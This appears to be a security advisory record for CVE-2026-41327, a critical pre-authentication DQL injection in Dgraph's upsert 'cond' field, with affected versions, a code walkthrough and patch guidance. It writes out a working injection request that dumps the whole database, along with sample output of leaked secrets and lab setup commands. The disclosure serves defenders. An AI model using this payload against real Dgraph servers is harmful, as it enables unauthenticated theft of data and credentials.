Location: edgraph/server.go, buildUpsertQuery (line 714)
Instead of concatenating the raw cond string into the DQL query, buildUpsertQuery should parse the cond value with the DQL lexer and construct the @filter as a parsed AST subtree. This eliminates the injection surface entirely because the filter is built programmatically rather than spliced in as a raw string. The existing strings.Replace(gmu.Cond, "@if", "@filter", 1) at line 730 is a semantic transformation, not a security control, and should not be relied upon for sanitization.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/dgraph-io/dgraph/v25"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "25.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/dgraph-io/dgraph/v24"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "24.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/dgraph-io/dgraph"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.2.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41327"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-24T15:41:21Z",
"nvd_published_at": "2026-04-24T19:17:12Z",
"severity": "CRITICAL"
},
"details": "## 1. Executive Summary\n\nA vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph\u0027s default configuration where ACL is not enabled.\n\nThe attack is a single HTTP POST to `/mutate?commitNow=true` containing a crafted `cond` field in an upsert mutation. The `cond` value is concatenated directly into a DQL query string via `strings.Builder.WriteString` after only a cosmetic `strings.Replace` transformation. No escaping, parameterization, or structural validation is applied. An attacker injects an additional DQL query block into the `cond` string, which the DQL parser accepts as a syntactically valid named query block. The injected query executes server-side and its results are returned in the HTTP response.\n\nThere are no credentials involved. When ACL is disabled (the default), the `/mutate` endpoint requires no authentication. The `authorizeQuery` and `authorizeMutation` functions both return `nil` immediately when `AclSecretKey` is not configured. Even when ACL is enabled, a user with mutation-only permission can inject read queries that bypass per-predicate ACL authorization, because the injected query block is not subject to the normal authorization flow.\n\nPOC clip: \n\nhttps://github.com/user-attachments/assets/edf43615-b0d5-46cd-abd9-2cb9423790d2\n\n\n\n## 2. CVSS Score\n\n**CVSS 3.1: 9.1 (Critical)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n```\n\n| Metric | Value | Rationale |\n| ------------------- | --------- | ---------------------------------------------------------------------------------- |\n| Attack Vector | Network | HTTP POST to port 8080 |\n| Attack Complexity | Low | Single request, no special conditions beyond default config |\n| Privileges Required | None | No authentication when ACL is disabled (default) |\n| User Interaction | None | Fully automated |\n| Scope | Unchanged | Stays within the Dgraph data layer |\n| Confidentiality | High | Full database exfiltration: all nodes, all predicates, all values |\n| Integrity | High | The injection can also be used to manipulate upsert conditions, bypassing uniqueness constraints and conditional mutation logic |\n| Availability | None | No denial of service |\n\n## 3. Vulnerability Summary\n\n| Field | Value |\n| --------- | ------------------------------------------------------------------------------------------ |\n| Title | Pre-Auth DQL Injection via Unsanitized Cond Field in Upsert Mutations |\n| Type | Injection |\n| CWE | CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) |\n| CVSS | 9.8 |\n\n## 4. Target Information\n\n| Field | Value |\n| -------------------- | ---------------------------------------------------------------------------------------------- |\n| Project | Dgraph |\n| Repository | https://github.com/dgraph-io/dgraph |\n| Tested version | v25.3.0 |\n| HTTP handler | `dgraph/cmd/alpha/http.go` line 345 (`mutationHandler`) |\n| Cond extraction | `dgraph/cmd/alpha/http.go` line 413 (`strconv.Unquote`) |\n| Cond passthrough | `edgraph/server.go` line 2011 (`ParseMutationObject`, copies `mu.Cond` verbatim) |\n| Injection sink | `edgraph/server.go` line 750 (`upsertQB.WriteString(cond)`) |\n| Only transformation | `edgraph/server.go` line 730 (`strings.Replace(gmu.Cond, \"@if\", \"@filter\", 1)`) |\n| Auth bypass (query) | `edgraph/access.go` line 958 (`authorizeQuery` returns nil when `AclSecretKey == nil`) |\n| Auth bypass (mutate) | `edgraph/access.go` line 788 (`authorizeMutation` returns nil when `AclSecretKey == nil`) |\n| Response exfiltration| `dgraph/cmd/alpha/http.go` line 498 (`mp[\"queries\"] = json.RawMessage(resp.Json)`) |\n| HTTP port | 8080 (default) |\n| Prerequisite | None. Default configuration. ACL disabled is the default. |\n\n## 5. Test Environment\n\n| Component | Version / Details |\n| -------------------- | --------------------------------------------------------------- |\n| Host OS | macOS (darwin 25.3.0) |\n| Dgraph | v25.3.0 via `dgraph/dgraph:latest` Docker image |\n| Docker Compose | 1 Zero + 1 Alpha, default config, `--security whitelist=0.0.0.0/0` |\n| Python | 3.x with `requests` |\n| Network | localhost (127.0.0.1) |\n\n## 6. Vulnerability Detail\n\n**Location:** `edgraph/server.go` lines 714-757 (`buildUpsertQuery`)\n**CWE:** CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)\n\nThe `/mutate` endpoint accepts JSON bodies containing a `mutations` array. Each mutation can include a `cond` field, intended for conditional upserts with syntax like `@if(eq(name, \"Alice\"))`. This condition is supposed to be spliced into the DQL query as a `@filter` clause on a dummy `var(func: uid(0))` block.\n\nThe handler at `http.go:413` extracts the `cond` value via `strconv.Unquote`, which interprets `\\n` as actual newlines but performs no sanitization:\n\n```go\nmu.Cond, err = strconv.Unquote(string(condText.bs))\n```\n\n`ParseMutationObject` at `server.go:2011` copies it verbatim:\n\n```go\nres := \u0026dql.Mutation{Cond: mu.Cond}\n```\n\n`buildUpsertQuery` at `server.go:730` applies one cosmetic replacement then concatenates the raw string directly into the DQL query:\n\n```go\ncond := strings.Replace(gmu.Cond, \"@if\", \"@filter\", 1)\n// ...\nx.Check2(upsertQB.WriteString(cond))\n```\n\nThere is no escaping, no parameterization, no structural validation, and no character allowlist between the HTTP input and the query string concatenation.\n\nAn attacker crafts a `cond` value that closes the `@filter(...)` clause and opens an entirely new named query block:\n\n```\n@if(eq(name, \"nonexistent\"))\n leak(func: has(dgraph.type)) { uid name email secret }\n```\n\nAfter `buildUpsertQuery` processes this, the resulting DQL is:\n\n```dql\n{\n q(func: uid(0x1)) { uid }\n __dgraph_upsertcheck_0__ as var(func: uid(0)) @filter(eq(name, \"nonexistent\"))\n leak(func: has(dgraph.type)) { uid name email secret }\n}\n```\n\nThe DQL parser (`dql.ParseWithNeedVars`) accepts multiple query blocks within a single `{}` container. It parses `leak(...)` as a legitimate named query. The `validateResult` function at `parser.go:740` only checks for duplicate aliases and explicitly skips `var` queries. The injected query uses a unique alias, so validation passes.\n\nAll three queries execute. The results of the injected `leak` block are serialized to JSON and returned to the attacker at `http.go:498`:\n\n```go\nmp[\"queries\"] = json.RawMessage(resp.Json)\n```\n\nThe `@if` condition evaluates to false (`\"nonexistent\"` matches nothing), so the `set` mutation never actually writes data. The attack is a pure read disguised as a mutation. No data is modified.\n\n## 7. Full Chain Explanation\n\nThe attacker has no Dgraph credentials and no prior access to the server.\n\n**Step 1.** The attacker sends one HTTP request:\n\n```\nPOST /mutate?commitNow=true HTTP/1.1\nHost: TARGET:8080\nContent-Type: application/json\n\n{\n \"query\": \"{ q(func: uid(0x1)) { uid } }\",\n \"mutations\": [{\n \"set\": [{\"uid\": \"0x1\", \"dgraph.type\": \"Dummy\"}],\n \"cond\": \"@if(eq(name, \\\"nonexistent\\\"))\\n leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key gcp_service_account_key }\"\n }]\n}\n```\n\nNo `X-Dgraph-AccessToken` header. No `X-Dgraph-AuthToken` header. The `/mutate` endpoint has no authentication wrapper in default configuration.\n\n**Step 2.** `mutationHandler` at `http.go:345` calls `readRequest` to get the body, then `extractMutation` which calls `strconv.Unquote` on the `cond` field. The `\\n` becomes a real newline. The result is stored in `api.Mutation.Cond`.\n\n**Step 3.** The request enters `edgraph.Server.QueryNoGrpc` at `http.go:471`, which calls `doQuery` -\u003e `parseRequest` -\u003e `ParseMutationObject`. The `Cond` is copied verbatim to `dql.Mutation.Cond` at `server.go:2011`.\n\n**Step 4.** `buildUpsertQuery` at `server.go:714` processes the condition. The only transformation is `strings.Replace(gmu.Cond, \"@if\", \"@filter\", 1)` at line 730. The full string, including the injected `leak(...)` block, is written into the query builder at line 750.\n\n**Step 5.** `dql.ParseWithNeedVars` parses the constructed DQL string. It encounters three query blocks: `q`, the upsert check `var`, and the injected `leak`. All three are accepted as valid DQL.\n\n**Step 6.** `authorizeQuery` at `access.go:958` returns `nil` immediately because `AclSecretKey == nil` (ACL not configured). No predicate-level authorization is performed.\n\n**Step 7.** `processQuery` executes all three query blocks. The `leak` block traverses every node with a `dgraph.type` predicate and returns all requested fields.\n\n**Step 8.** The response is returned to the attacker at `http.go:498`. The `data.queries.leak` array contains every matching node with all their predicates, including secrets, credentials, and PII.\n\n## 8. Proof of Concept\n\n### Files\n\n| File | Purpose |\n| ----------------------- | ---------------------------------------------------------- |\n| report.md | This vulnerability report |\n| poc.py | Exploit: sends the injection and prints leaked data |\n| docker-compose.yml | Spins up a Dgraph cluster (1 Zero + 1 Alpha, default config) |\n| DGraphPreAuthDQL.mp4 | Screen recording of the full attack from start to exfiltration |\n\nPOC files zip:\n[LEAD_001_DQL.zip](https://github.com/user-attachments/files/25996009/LEAD_001_DQL.zip)\n\n\n### poc.py\n\nThe exploit sends a single POST to `/mutate?commitNow=true` with the crafted `cond` field. It parses the response and prints all exfiltrated records, highlighting secrets, AWS credentials, and GCP service account keys.\n\n### Tested Output\n\n```\n$ python3 poc.py\n[*] Sending crafted upsert mutation with DQL injection in cond field \u2026\n[*] HTTP 200\n[+] SUCCESS \u2014 Injected query returned 5 node(s):\n\n [User] uid=0x1\n name: Alice Admin\n email: alice@corp.com\n secret: SSN-123-45-6789\n role: admin\n\n [User] uid=0x2\n name: Bob User\n email: bob@corp.com\n secret: SSN-987-65-4321\n role: user\n\n [User] uid=0x3\n name: Eve Secret\n email: eve@corp.com\n secret: API_KEY_sk-live-abc123xyz\n role: superadmin\n\n [CloudCredential] uid=0x4\n name: prod-aws-credentials\n AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE\n AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n\n [CloudCredential] uid=0x5\n name: gcp-bigquery-service-account\n GCP_SERVICE_ACCOUNT_KEY: {\"type\":\"service_account\",\"project_id\":\"prod-analytics\",\"private_key\":\"-----BEGI\u2026\n\n[+] CRITICAL \u2014 Exfiltrated 5 record(s) containing secrets via pre-auth DQL injection\n \u2192 1 AWS credential(s) \u2014 attacker can access AWS account\n \u2192 1 GCP service account key(s) \u2014 attacker can access GCP project\n```\n\n## 9. Steps to Reproduce\n\n### Prerequisites\n\n- Python 3 with `requests` (`pip install requests`)\n- Docker and Docker Compose\n\n### Step 1: Start Dgraph\n\n```bash\ncd report\ndocker compose -f docker-compose-test.yml up -d\n```\n\nWait for health:\n\n```bash\ncurl http://localhost:8080/health\n```\n\n### Step 2: Seed test data\n\n```bash\ncurl -s -X POST http://localhost:8080/alter -d \u0027\nname: string @index(exact) .\nemail: string @index(exact) .\nsecret: string .\nrole: string .\naws_access_key_id: string .\naws_secret_access_key: string .\ngcp_service_account_key: string .\n\u0027\n\ncurl -s -X POST \u0027http://localhost:8080/mutate?commitNow=true\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"set\":[\n {\"dgraph.type\":\"User\",\"name\":\"Alice Admin\",\"email\":\"alice@corp.com\",\"secret\":\"SSN-123-45-6789\",\"role\":\"admin\"},\n {\"dgraph.type\":\"User\",\"name\":\"Bob User\",\"email\":\"bob@corp.com\",\"secret\":\"SSN-987-65-4321\",\"role\":\"user\"},\n {\"dgraph.type\":\"User\",\"name\":\"Eve Secret\",\"email\":\"eve@corp.com\",\"secret\":\"API_KEY_sk-live-abc123xyz\",\"role\":\"superadmin\"},\n {\"dgraph.type\":\"CloudCredential\",\"name\":\"prod-aws-credentials\",\"aws_access_key_id\":\"AKIAIOSFODNN7EXAMPLE\",\"aws_secret_access_key\":\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"},\n {\"dgraph.type\":\"CloudCredential\",\"name\":\"gcp-bigquery-service-account\",\"gcp_service_account_key\":\"{\\\"type\\\":\\\"service_account\\\",\\\"project_id\\\":\\\"prod-analytics\\\",\\\"private_key\\\":\\\"-----BEGIN RSA PRIVATE KEY-----\\\\nEXAMPLEKEY\\\\n-----END RSA PRIVATE KEY-----\\\",\\\"client_email\\\":\\\"bigquery@prod-analytics.iam.gserviceaccount.com\\\"}\"}\n ]}\u0027\n```\n\n### Step 3: Run the exploit\n\n```bash\ncd LEAD_001_DQL\npython3 poc.py\n```\n\n### What to verify\n\n1. HTTP POST returns 200 (endpoint is reachable without auth)\n2. Response contains `data.queries.leak` with an array of nodes\n3. The nodes include fields the attacker never queried through legitimate means (secrets, AWS keys, GCP keys)\n4. No data was modified in the database (the `@if` condition prevents the `set` from executing)\n\n## 10. Mitigations and Patch\n\n**Location:** `edgraph/server.go`, `buildUpsertQuery` (line 714)\n\nInstead of concatenating the raw `cond` string into the DQL query, `buildUpsertQuery` should parse the `cond` value with the DQL lexer and construct the `@filter` as a parsed AST subtree. This eliminates the injection surface entirely because the filter is built programmatically rather than spliced in as a raw string. The existing `strings.Replace(gmu.Cond, \"@if\", \"@filter\", 1)` at line 730 is a semantic transformation, not a security control, and should not be relied upon for sanitization.",
"id": "GHSA-mrxx-39g5-ph77",
"modified": "2026-05-04T20:08:33Z",
"published": "2026-04-24T15:41:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-mrxx-39g5-ph77"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41327"
},
{
"type": "PACKAGE",
"url": "https://github.com/dgraph-io/dgraph"
},
{
"type": "WEB",
"url": "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in Upsert Condition Field"
}
No mitigation information available for this CWE.
CAPEC-676: NoSQL Injection
An adversary targets software that constructs NoSQL statements based on user input or with parameters vulnerable to operator replacement in order to achieve a variety of technical impacts such as escalating privileges, bypassing authentication, and/or executing code.